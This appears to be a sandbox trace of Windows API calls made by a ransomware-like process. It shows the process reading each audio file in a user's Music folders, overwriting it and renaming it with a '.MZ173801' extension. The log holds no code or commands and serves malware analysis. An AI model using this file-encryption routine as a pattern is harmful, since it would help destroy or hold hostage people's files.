[0123.186] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.187] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1074d [0123.187] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.187] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x1074d, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x1074d, lpOverlapped=0x0) returned 1 [0123.188] CloseHandle (hObject=0x288) returned 1 [0123.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ScrlOad-Yzm24.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\scrload-yzm24.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.191] WriteFile (in: hFile=0x288, lpBuffer=0x726540*, nNumberOfBytesToWrite=0x1074d, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x726540*, lpNumberOfBytesWritten=0x18f99c*=0x1074d, lpOverlapped=0x0) returned 1 [0123.194] CloseHandle (hObject=0x288) returned 1 [0123.195] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ScrlOad-Yzm24.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\scrload-yzm24.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ScrlOad-Yzm24.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\scrload-yzm24.m4a.mz173801")) returned 1 [0123.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Tp42BDDW.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tp42bddw.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.200] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.200] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.200] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x817f [0123.200] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.200] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x817f, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x817f, lpOverlapped=0x0) returned 1 [0123.201] CloseHandle (hObject=0x288) returned 1 [0123.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Tp42BDDW.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tp42bddw.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.203] WriteFile (in: hFile=0x288, lpBuffer=0x71e540*, nNumberOfBytesToWrite=0x817f, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71e540*, lpNumberOfBytesWritten=0x18f99c*=0x817f, lpOverlapped=0x0) returned 1 [0123.205] CloseHandle (hObject=0x288) returned 1 [0123.220] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Tp42BDDW.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tp42bddw.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Tp42BDDW.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tp42bddw.m4a.mz173801")) returned 1 [0123.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uhoHW14FtX-T.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uhohw14ftx-t.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.224] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.224] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.224] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x4fcd [0123.225] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.225] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x4fcd, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x4fcd, lpOverlapped=0x0) returned 1 [0123.226] CloseHandle (hObject=0x288) returned 1 [0123.226] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uhoHW14FtX-T.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uhohw14ftx-t.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.227] WriteFile (in: hFile=0x288, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x4fcd, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f99c*=0x4fcd, lpOverlapped=0x0) returned 1 [0123.229] CloseHandle (hObject=0x288) returned 1 [0123.245] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uhoHW14FtX-T.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uhohw14ftx-t.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uhoHW14FtX-T.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uhohw14ftx-t.wav.mz173801")) returned 1 [0123.250] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VOLRL2I0qrpn27ZGW.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\volrl2i0qrpn27zgw.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.250] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.250] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.250] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x10bce [0123.250] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.250] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x10bce, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x10bce, lpOverlapped=0x0) returned 1 [0123.252] CloseHandle (hObject=0x288) returned 1 [0123.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VOLRL2I0qrpn27ZGW.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\volrl2i0qrpn27zgw.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.255] WriteFile (in: hFile=0x288, lpBuffer=0x726540*, nNumberOfBytesToWrite=0x10bce, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x726540*, lpNumberOfBytesWritten=0x18f99c*=0x10bce, lpOverlapped=0x0) returned 1 [0123.257] CloseHandle (hObject=0x288) returned 1 [0123.261] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VOLRL2I0qrpn27ZGW.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\volrl2i0qrpn27zgw.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VOLRL2I0qrpn27ZGW.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\volrl2i0qrpn27zgw.m4a.mz173801")) returned 1 [0123.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y0b0Vh_1i5M7YD2Ajh6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y0b0vh_1i5m7yd2ajh6.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.265] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.265] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.266] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xb9c0 [0123.266] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.266] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xb9c0, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xb9c0, lpOverlapped=0x0) returned 1 [0123.267] CloseHandle (hObject=0x288) returned 1 [0123.268] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y0b0Vh_1i5M7YD2Ajh6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y0b0vh_1i5m7yd2ajh6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.269] WriteFile (in: hFile=0x288, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xb9c0, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f99c*=0xb9c0, lpOverlapped=0x0) returned 1 [0123.271] CloseHandle (hObject=0x288) returned 1 [0123.290] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y0b0Vh_1i5M7YD2Ajh6.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y0b0vh_1i5m7yd2ajh6.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\y0b0Vh_1i5M7YD2Ajh6.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\y0b0vh_1i5m7yd2ajh6.wav.mz173801")) returned 1 [0123.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\4sCUV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\4scuv.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.295] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.296] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.296] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x142f7 [0123.296] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.296] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x142f7, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x142f7, lpOverlapped=0x0) returned 1 [0123.297] CloseHandle (hObject=0x28c) returned 1 [0123.299] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\4sCUV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\4scuv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.301] WriteFile (in: hFile=0x28c, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x142f7, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f6d0*=0x142f7, lpOverlapped=0x0) returned 1 [0123.304] CloseHandle (hObject=0x28c) returned 1 [0123.306] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\4sCUV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\4scuv.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\4sCUV.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\4scuv.m4a.mz173801")) returned 1 [0123.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\8jtZYir3_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\8jtzyir3_.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.311] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.311] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.311] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x151cc [0123.311] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.311] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x151cc, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x151cc, lpOverlapped=0x0) returned 1 [0123.313] CloseHandle (hObject=0x28c) returned 1 [0123.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\8jtZYir3_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\8jtzyir3_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.317] WriteFile (in: hFile=0x28c, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x151cc, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f6d0*=0x151cc, lpOverlapped=0x0) returned 1 [0123.320] CloseHandle (hObject=0x28c) returned 1 [0123.325] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\8jtZYir3_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\8jtzyir3_.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\8jtZYir3_.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\8jtzyir3_.wav.mz173801")) returned 1 [0123.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\FWVANwtHGYz _6bv15Ui.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\fwvanwthgyz _6bv15ui.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.330] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.330] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.330] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x54fb [0123.330] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.330] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x54fb, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x54fb, lpOverlapped=0x0) returned 1 [0123.332] CloseHandle (hObject=0x28c) returned 1 [0123.333] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\FWVANwtHGYz _6bv15Ui.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\fwvanwthgyz _6bv15ui.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.334] WriteFile (in: hFile=0x28c, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x54fb, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f6d0*=0x54fb, lpOverlapped=0x0) returned 1 [0123.335] CloseHandle (hObject=0x28c) returned 1 [0123.341] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\FWVANwtHGYz _6bv15Ui.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\fwvanwthgyz _6bv15ui.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\FWVANwtHGYz _6bv15Ui.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\fwvanwthgyz _6bv15ui.mp3.mz173801")) returned 1 [0123.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\Kyxo-5ytY tFHo Bl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\kyxo-5yty tfho bl.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.346] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.346] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.346] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xa4e [0123.346] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.346] ReadFile (in: hFile=0x28c, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa4e, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f6c4*=0xa4e, lpOverlapped=0x0) returned 1 [0123.348] CloseHandle (hObject=0x28c) returned 1 [0123.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\Kyxo-5ytY tFHo Bl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\kyxo-5yty tfho bl.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.349] WriteFile (in: hFile=0x28c, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa4e, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f6d0*=0xa4e, lpOverlapped=0x0) returned 1 [0123.354] CloseHandle (hObject=0x28c) returned 1 [0123.358] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\Kyxo-5ytY tFHo Bl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\kyxo-5yty tfho bl.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\Kyxo-5ytY tFHo Bl.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\kyxo-5yty tfho bl.mp3.mz173801")) returned 1 [0123.362] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\m2 T9qwwaiKjh3tGOJ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\m2 t9qwwaikjh3tgoj.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.362] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.362] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.362] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x168f2 [0123.362] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.362] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x168f2, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x168f2, lpOverlapped=0x0) returned 1 [0123.363] CloseHandle (hObject=0x28c) returned 1 [0123.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\m2 T9qwwaiKjh3tGOJ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\m2 t9qwwaikjh3tgoj.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.367] WriteFile (in: hFile=0x28c, lpBuffer=0x72c540*, nNumberOfBytesToWrite=0x168f2, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72c540*, lpNumberOfBytesWritten=0x18f6d0*=0x168f2, lpOverlapped=0x0) returned 1 [0123.369] CloseHandle (hObject=0x28c) returned 1 [0123.371] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\m2 T9qwwaiKjh3tGOJ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\m2 t9qwwaikjh3tgoj.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\m2 T9qwwaiKjh3tGOJ.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\m2 t9qwwaikjh3tgoj.mp3.mz173801")) returned 1 [0123.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\mba3_PfLGaGnRS6z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\mba3_pflgagnrs6z.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 